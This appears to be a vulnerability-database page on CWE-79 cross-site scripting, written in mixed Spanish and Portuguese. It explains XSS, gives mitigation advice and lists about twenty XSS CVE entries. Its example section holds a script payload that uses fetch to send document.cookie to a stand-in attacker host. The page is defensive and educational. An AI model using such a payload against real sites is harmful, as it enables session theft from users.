Fallos del tipo CWE-79

30.194 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-53277MEDIUMCross-site Scripting in form messages in silverstripe frameworkEPSS 0.3%CVE-2024-21897HIGHQTS, QuTS heroEPSS 0.3%CVE-2026-76475CRITICALCisco Unified Communications Products Hardening Release: October 2026 - Cross-site Scripting VulnerabilitiesEPSS 0.3%CVE-2025-6977MEDIUMProfileGrid – User Profiles, Groups and Communities <= 5.9.5.4 - Reflected Cross-Site Scripting via 'pm_get_messenger_notification' functionEPSS 0.3%CVE-2024-5611MEDIUMStratum – Elementor Widgets <= 1.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Countdown WidgetEPSS 0.3%CVE-2026-18099HIGHIBM i is Affected By Multiple Vulnerabilities in Navigator for iEPSS 0.3%CVE-2026-4142MEDIUMSentence To SEO (keywords, description and tags) <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Permanent keywords' FieldEPSS 0.3%CVE-2024-8734MEDIUMLucas String Replace <= 2.0.5 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-3661MEDIUMSB Chart block <= 1.2.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via className ParameterEPSS 0.3%CVE-2026-43980MEDIUMMalla: Stored XSS via Meshtastic node names in multiple frontend pagesEPSS 0.3%CVE-2024-20475MEDIUMCisco SD-WAN vManage Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2024-50577MEDIUMIn JetBrains YouTrack before 2024.3.47707 stored XSS was possible via Angular template injection in Hub settingsEPSS 0.3%CVE-2025-10253MEDIUMopenDCIM SVG File uploadifive.php cross site scriptingEPSS 0.3%CVE-2024-53307MEDIUMA reflected cross-site scripting (XSS) vulnerability in the /mw/ endpoint of Evisions MAPS v6.10.2.267 allows attackers to execute arbitraryEPSS 0.3%CVE-2025-3814MEDIUMTax Switch for WooCommerce <= 1.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via class-name ParameterEPSS 0.3%CVE-2023-47525MEDIUMWordPress Event Management Tickets Booking Plugin <= 1.3.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-32960MEDIUMCUBA Generic REST API Vulnerable to Cross-Site Scripting (XSS) in the /files EndpointEPSS 0.3%CVE-2024-1166MEDIUMImage Hover Effects - Elementor Addon <= 1.4.1 - Authenticated(Contributor+) DOM-based Stored Cross-Site Scripting via Image Hover Effects WidgetEPSS 0.3%CVE-2024-12126MEDIUMSEO Keywords <= 1.1.3 - Reflected Cross-Site Scripting via google_error ParameterEPSS 0.3%CVE-2024-43233HIGHWordPress BSK Forms Blacklist plugin <= 3.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%